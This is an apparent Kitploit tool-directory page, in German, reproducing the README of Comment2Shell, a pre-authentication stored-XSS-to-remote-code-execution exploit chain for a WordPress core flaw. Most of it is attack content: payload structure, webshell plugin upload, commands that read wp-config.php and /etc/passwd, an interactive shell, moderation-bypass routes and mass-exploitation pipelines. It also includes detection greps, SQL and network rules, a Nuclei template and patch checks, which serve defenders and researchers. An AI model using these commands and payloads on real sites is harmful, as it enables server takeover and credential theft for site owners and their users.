Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Comment2Shell — Zero-Click-Pre-Auth-WordPress-CVE-2026-93485-Exploit-Kette: gespeichertes XSS in wpautop() eskaliert zum Admin-Session-Plugin-Upload und einer selbstlöschenden Webshell, mit Scanner, Shell und Nuclei-Template. | Kitploit
Tools/GitHubGitHub/deathshotxd/comment2shell
SchwachstellenscannerExploitationWebanwendungs-ExploitationPost-ExploitationSicherheitsvirtualisierungWebsicherheitPenetrationstestsRed TeamingPayload-EntwicklungLabs & Praxis
GitHub
11vor 15h 28mNoch nicht geprüft
deathshotxd/comment2shell

Comment2Shell

Zero-Click-Pre-Auth-WordPress-CVE-2026-93485-Exploit-Kette: gespeichertes XSS in wpautop() eskaliert zum Admin-Session-Plugin-Upload und einer selbstlöschenden Webshell, mit Scanner, Shell und Nuclei-Template.

Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Comment2Shell

Comment2Shell ist ein End-to-End-Proof-of-Concept für CVE-2026-93485, ein Pre-Authentication-Stored-XSS im WordPress-Core wpautop(), das zu Remote Code Execution innerhalb einer Administrator-Sitzung eskaliert. Ein anonymer Kommentar platziert die Payload; wenn ein Admin den Beitrag öffnet, lädt der Browser ein Webshell-Plugin hoch, führt einen Befehl aus und löscht die Shell wieder. Die gesamte Kette ist eine abhängigkeitsfreie Python-Datei.

Comment2Shell logo

CVE-2026-93485, CVSS 7.1 HIGH, pre-auth, zero-click, fixed in 7.1.1

Animated terminal: the exploit chain end to end


Was ist Comment2Shell?

Comment2Shell ist ein Exploit- und Local-Lab-Kit für CVE-2026-93485. Der Bug befindet sich in wp-includes/formatting.php, im wpautop()-Absatz- Filter, der zur Anzeigezeit auf Kommentartext ausgeführt wird. Ein Zeilenumbruch innerhalb eines blockquote cite-Attributs wird zu einem HTML-Kommentar-Platzhalter; die Regex, die Blockquotes umschließt, stoppt beim ersten und injiziert einen Absatz-Tag mitten in das Attribut, welches der Browser dann als -Handler parst. Das -Attribut löst ihn zero-click aus.

>
onfocus
autofocus

Das Tool deckt die gesamte Kette ab: einen passiven Versionsscan, eine benigne XSS-Probe, den vollständigen Pre-Authentication-zu-RCE-Exploit, eine interaktive Shell und eine defensive IOC-Prüfung.


Der Exploit benötigt kein Konto, keine Nonce und keine Interaktion über das Ansehen des Beitrags durch den Admin hinaus. Kommentare müssen lediglich geöffnet sein.


Comment2Shell - CVE-2026-93485

Warum das wichtig ist

WordPress betreibt einen großen Teil des Webs und wpautop() ist Core-Code, daher wird der verwundbare Filter auf jeder betroffenen Installation ausgeliefert, unabhängig von Theme oder Plugin. Das XSS ist gespeichert, pre-authentication und zero-click. Da es in der Admin-Sitzung ausgeführt wird, ist es mehr als ein Defacement-Bug: Das Admin-Cookie reicht aus, um ein Plugin zu installieren, und das Installieren eines Plugins ist beliebige Codeausführung.

Der Fix wurde in WordPress 7.1.1 mit Backports über 25 Branches ausgeliefert, bis hinunter zu 4.7.36. Jede Version von 4.7.0 bis 7.1.0 ist betroffen.

Demo


Comment2Shell demonstration


Kontrollierter Lab-Lauf gegen WordPress 7.1.0: Ein anonymer Kommentar platziert die Payload, das Öffnen des Beitrags durch den Admin löst die Zero-Click-Kette aus, die Webshell wird hochgeladen, die Befehlsausgabe kommt zurück und die Shell löscht sich selbst. Der Browser-Tab-Titel meldet das Ergebnis, entweder Comment2Shell: shell uploaded oder Comment2Shell: admin login required. Siehe docker/README.md für die genaue Vorgehensweise.

Forschungsbeitrag

Comment2Shell beansprucht nicht die Entdeckung der Schwachstelle. Sie wurde von Rafie Muhammad (Awesome Motive) über das HackerOne-WordPress- Programm gemeldet und in 7.1.1 behoben. Der Beitrag hier ist eine reproduzierbare, abhängigkeitsfreie Implementierung der vollständigen Kette:

  • die Filterbedingungen zur Anzeigezeit, die die Payload KSES überleben lassen
  • ein In-Browser-ZIP-Builder, sodass der Plugin-Upload keine externe Datei benötigt
  • automatische Bereinigung, bei der die Webshell sich nach dem Befehl selbst unlinking
  • Blue-Team-Artefakte: ein Nuclei-Template, ein IOC-Skript und Log-Abfragen

Angriffsablauf

Anonymous comment, wpautop bug, zero-click XSS, admin view, remote code execution


root@kitploit:~
1. Anonymous comment submission (no auth, no nonce)
   POST /wp-comments-post.php
   <blockquote cite="a\nb"><code>x" onfocus=... autofocus>
   KSES allows blockquote[cite] and code; the newline in cite survives.

2. Display-time filter chain (the bug)
   wpautop() at formatting.php:563:
     preg_replace('|<p><blockquote([^>]*)>|', '<blockquote$1><p>')
   [^>]* stops at the > inside the <!-- wpnl --> comment,
   so a <p> gets injected inside the cite attribute.

3. wptexturize() seals the attribute (block themes)
   Outer " becomes &#8221; (curly quote).
   The " inside <code> stays straight (no-texturize list).
   The browser then parses onfocus/autofocus as real attributes.

4. Zero-click XSS in the admin session
   autofocus fires onfocus on page load, no click needed.
   JS runs with the admin cookies.

5. Admin session -> plugin upload -> RCE
   GET /wp-admin/plugin-install.php, extract the nonce.
   Build ZIP in memory, POST update.php?action=upload-plugin.
   Webshell lands at wp-content/plugins/<rand>/<rand>.php.
   GET /wp-content/plugins/<rand>/<rand>.php?c=id

Voraussetzungen

  • Kommentare auf einem veröffentlichten Beitrag geöffnet (Standard)
  • Anonymes Kommentieren erlaubt (Standard, comment_registration=0)
  • Ein Block-Theme aktiv (Standard seit Twenty Twenty-Two)
  • Ein Admin, der den Beitrag angemeldet ansieht
  • Python 3.8+ (nur Standardbibliothek)

Installation

root@kitploit:~
git clone https://github.com/DeathShotXD/Comment2Shell.git
cd Comment2Shell
python3 comment2shell.py --help

Keine Abhängigkeiten. Nur Python 3.8+ Standardbibliothek, kein pip install.

Verwendung

Passiver Versionsscan

root@kitploit:~
# Single target
python3 comment2shell.py --scan -t https://target.com

# Batch scan
python3 comment2shell.py --scan -f targets.txt --threads 20

# From a pipeline
subfinder -d targets.txt | httpx -title | \
  grep -i wordpress | python3 comment2shell.py --scan --stdin

# JSON output
python3 comment2shell.py --scan -t https://target.com --json -o results.json

Aktive XSS-Probe

root@kitploit:~
# Submit the benign detection payload (sets document.title)
python3 comment2shell.py --probe -t https://target.com

# With an OAST callback
python3 comment2shell.py --probe -t https://target.com \
  --callback https://your-id.oast.example

Vollständige Exploit-Kette bis zur Befehlsausführung

Die Exploit-Payload löst beim Laden der Seite alert("Comment2Shell XSS - CVE-2026-93485") aus (zero-click via autofocus). Sehen Sie den Beitrag an, während Sie als Admin angemeldet sind. Der Tab-Titel lautet dann bei Erfolg Comment2Shell: shell uploaded, oder Comment2Shell: admin login required, wenn der Browser keine Admin-Sitzung hat.

root@kitploit:~
# Run a command, then delete the shell
python3 comment2shell.py -t https://target.com -c "id"

# Read wp-config.php
python3 comment2shell.py -t https://target.com -c "cat wp-config.php"

# Wait longer for the admin to view the post (default 45s)
python3 comment2shell.py -t https://target.com -c "id" --wait 60

# Keep the webshell after execution
python3 comment2shell.py -t https://target.com -c "id" --no-cleanup

# With an OAST callback
python3 comment2shell.py -t https://target.com \
  -c "cat /etc/passwd" \
  --callback https://your-id.oast.example

# Known-commenter approval bypass
python3 comment2shell.py -t https://target.com \
  -c "whoami" --known-commenter

# Through a proxy
python3 comment2shell.py -t https://target.com \
  -c "id" --proxy http://127.0.0.1:8080

Das Tool übermittelt den XSS-Kommentar, fragt den generierten Webshell-Pfad alle 3s ab (bis zu --wait Sekunden), führt den Befehl aus, sobald der Browser des Admins den Upload auslöst, und löscht dann die Shell selbst (?d=1 unlinkingt die PHP-Datei und entfernt das Plugin-Verzeichnis), sodass keine Persistenz zurückbleibt. Übergeben Sie --no-cleanup, um sie zu behalten, oder --wait 0, um nur die Payload zu übermitteln.

Interaktive Shell

root@kitploit:~
# With a known shell path
python3 comment2shell.py --shell -t https://target.com \
  --shell-path ab12cd/ab12cd.php

# Run a single command on an existing shell
python3 comment2shell.py --exec -t https://target.com \
  --shell-path ab12cd/ab12cd.php -c "cat wp-config.php"

IOC-Prüfung

root@kitploit:~
python3 comment2shell.py --ioc -t https://target.com

Umgehung der Kommentar-Freigabe

Neue Kommentare von Erstkommentatoren werden üblicherweise zur Moderation zurückgehalten. Das Tool hat drei Wege darum herum:

RouteMethodeFlag
Bekannter KommentatorVerwendet den Standard-„A WordPress Commenter" <[email protected]>, den check_comment() automatisch freigibt--known-commenter
Moderation ausWenn comment_previously_approved=0, wird jede Identität automatisch freigegebenStandard
Autor-VorschauEin früherer Kommentator sieht ausstehende Kommentare über das ?unapproved=<id>&moderation-hash=<hash>-Cookieautomatisch

Laut Patchstack: „Moderation ist keine Sicherheitskontrolle."

Docker-Lab

Starten Sie ein verwundbares WordPress 7.1.0 für lokale Tests:

root@kitploit:~
cd docker
docker compose up -d
bash setup.sh
# Target: http://localhost:80  (host networking)
# Admin:  admin / Password123!
# Then:   python3 comment2shell.py -t http://localhost -c "id"

Jeder Lauf übermittelt einen neuen Payload-Kommentar. Nur die erste Autofocus-Payload auf der Seite wird ausgeführt, daher erkennt das Tool die aktive Payload und fragt ihren Pfad ab; führen Sie bash clean.sh aus, um ältere Kommentare zwischen den Läufen zu löschen.

Erkennung

Serverseitige IoC

root@kitploit:~
# Suspicious comment submissions (newline in blockquote cite)
grep -rE 'blockquote.*cite=.*\n' /var/www/html/wp-content/ 2>/dev/null

# wp_comments table
mysql -e "SELECT comment_ID, comment_author, LEFT(comment_content,200) \
  FROM wp_comments WHERE comment_content LIKE '%blockquote%cite%\
  onfocus%' ORDER BY comment_date DESC;"

# Recently uploaded single-file plugins
find /var/www/html/wp-content/plugins/ -maxdepth 2 -name "*.php" \
  -newer /var/www/html/wp-config.php -not -path "*/akismet/*" \
  -not -path "*/hello*"

Netzwerk-IoC

root@kitploit:~
# Unusual POST to wp-comments-post.php with blockquote + onfocus
http.request.uri == "/wp-comments-post.php" AND
http.request.body contains "blockquote" AND
http.request.body contains "onfocus" AND
http.request.body contains "autofocus"

# Single-file plugin uploads from non-admin IPs
http.request.uri == "/wp-admin/update.php" AND
http.request.body contains "pluginzip"

Nuclei-Template

root@kitploit:~
nuclei -t nuclei/CVE-2026-93485.yaml -u https://target.com

Patch-Verifikation

root@kitploit:~
# Vulnerable (before 7.1.1):
grep -n 'blockquote(\[^>\]\*)' wp-includes/formatting.php
# Should show: |<p><blockquote([^>]*)>|

# Patched (7.1.1+):
grep -n 'blockquote((?:\[^>"'\'')' wp-includes/formatting.php
# Should show: !<p><blockquote((?:[^>"']|"[^"]*"|'[^']*')*)>

Pipeline-Beispiele

root@kitploit:~
# Find WordPress targets -> scan for CVE-2026-93485
subfinder -d program-scope.com -silent | \
  httpx -silent -title | \
  grep -i "wordpress" | \
  python3 comment2shell.py --scan --stdin --threads 20

# Mass exploit with OAST (authorized testing only)
cat vulnerable_targets.txt | \
  python3 comment2shell.py -t - -c "id" \
    --callback https://your-id.oast.example

# Save results as JSON
python3 comment2shell.py --scan -f all_targets.txt \
  --threads 30 -o scan_results.json --json

Technische Details

Ursache

wp-includes/formatting.php:563 (verwundbar, vor 7.1.1):

root@kitploit:~
// VULNERABLE: [^>]* stops at > inside HTML comment placeholder
$text = preg_replace( '|<p><blockquote([^>]*)>|i', '<blockquote$1><p>', $text );

// PATCHED (7.1.1): quote-aware subpattern
$text = preg_replace( '!<p><blockquote((?:[^>"\']|"[^"]*"|\'[^\']*\')*)>!i', '<blockquote$1><p>', $text );

Warum KSES es nicht abfängt

Die Payload ist zur Speicherzeit benignes HTML. blockquote[cite] und code stehen auf der Kommentar-Allowlist (wp-includes/kses.php:605-633). Der Zeilenumbruch ist nicht in der Syntax-Zeichen-Zuordnung von wp_kses_hair(). Der Exploit geschieht zur Anzeigezeit, wenn die comment_text-Filter das gespeicherte HTML transformieren.

comment_text-Filterkette

root@kitploit:~
add_filter( 'comment_text', 'wptexturize' );       // seals the attribute
add_filter( 'comment_text', 'convert_chars' );
add_filter( 'comment_text', 'make_clickable', 9 );
add_filter( 'comment_text', 'force_balance_tags', 25 );
add_filter( 'comment_text', 'convert_smilies', 20 );
add_filter( 'comment_text', 'wpautop', 30 );        // THE BUG

Betroffene Versionen

Der Fix wurde in 7.1.1 über 25 Branches ausgeliefert. Jede Version von 4.7.0 bis 7.1.0 ist betroffen.

BranchVerwundbar <=Behoben
7.17.1.07.1.1
7.07.0.47.0.5
6.96.9.76.9.8
6.86.8.86.8.9
6.76.7.76.7.8
6.66.6.76.6.8
6.56.5.106.5.11
6.46.4.106.4.11
6.36.3.106.3.11
6.26.2.116.2.12
6.16.1.126.1.13
6.06.0.146.0.15
5.95.9.165.9.17
5.85.8.155.8.16
5.75.7.175.7.18
5.65.6.195.6.20
5.55.5.205.5.21
5.45.4.215.4.22
5.35.3.235.3.24
5.25.2.265.2.27
5.15.1.245.1.25
5.05.0.275.0.28
4.94.9.314.9.32
4.84.8.304.8.31
4.74.7.354.7.36

Repository-Struktur

root@kitploit:~
Comment2Shell/
|-- comment2shell.py      scan, probe, exploit, shell, IOC check
|-- README.md
|-- PLAN.md               weekly maintenance plan
|-- BROWSER_VALIDATION.md manual browser validation steps
|-- docker/               vulnerable WordPress 7.1.0 lab
|   |-- docker-compose.yml
|   |-- setup.sh
|   |-- clean.sh
|   +-- README.md
|-- nuclei/               detection template
|-- ioc/                  server-side IOC checker
|-- requests/             raw HTTP exploit templates
|-- assets/               banner, logo, demo, animated SVGs
|-- browser_validate.html
|-- xss_validate.html
|-- validate.sh
+-- LICENSE

Einschränkungen

  • Der XSS-Pfad hängt von einem Block-Theme ab (wptexturize versiegelt das Attribut); klassische Themes lösen ihn möglicherweise nicht aus.
  • Die Payload muss für den Admin sichtbar sein, daher ist eine automatische Freigabe oder eine bereits freigegebene Kommentator-Identität erforderlich.
  • Der RCE-Schritt erfordert, dass ein Admin den Beitrag tatsächlich angemeldet ansieht; ohne das wird nur das gespeicherte XSS demonstriert.
  • Nur die erste Autofocus-Payload auf einer Seite wird ausgeführt. Das Tool erkennt die aktive Payload, aber veraltete Payload-Kommentare sollten mit docker/clean.sh gelöscht werden.
  • Das mitgelieferte Lab ist WordPress 7.1.0. Andere Branches teilen die verwundbare Regex, wurden aber nicht alle getestet.

Referenzen

  • CVE-2026-93485 - https://www.cve.org/CVERecord?id=CVE-2026-93485
  • GitHub advisory GHSA-qg7r-fjh2-wvx8 - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-qg7r-fjh2-wvx8
  • WordPress 7.1.1 release - https://wordpress.org/news/2026/09/wordpress-7-1-1-maintenance-and-security-release/
  • Researcher writeup - https://idnsec.com/research/comment2shell-zero-click-pre-auth-xss-to-rce-in-wordpress-core/
  • Patchstack analysis - https://patchstack.com/articles/wordpress-7-1-1-maintenance-and-security-release/
  • NVD - https://nvd.nist.gov/vuln/detail/CVE-2026-93485

Zeitlinie

  • 2026-09-08 - gemeldet über das HackerOne-WordPress-Programm
  • 2026-09-15 - CVE bei Patchstack angefragt
  • 2026-09-17 - behoben in WordPress 7.1.1
  • 2026-09-18 - CVE-2026-93485 zugewiesen (CVSS 7.1)
  • 2026-09-21 - Forscher-Writeup veröffentlicht
  • 2026-09-22 - Berichterstattung durch THN, Orca und SiteGuarding
  • 2026-09-23 - dieses Tool veröffentlicht

Verantwortungsvolle Nutzung

Dieses Projekt existiert für autorisierte Sicherheitstests und Ausbildungszwecke. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Testgenehmigung haben. Unbefugter Zugriff auf Computersysteme ist in den meisten Rechtsordnungen illegal. Die Autoren sind nicht für Missbrauch oder Schäden verantwortlich. Siehe LICENSE.

Autor

0xDeathShotX_X - github.com/DeathShotXD | @SyedWaj25802383

Tool herunterladen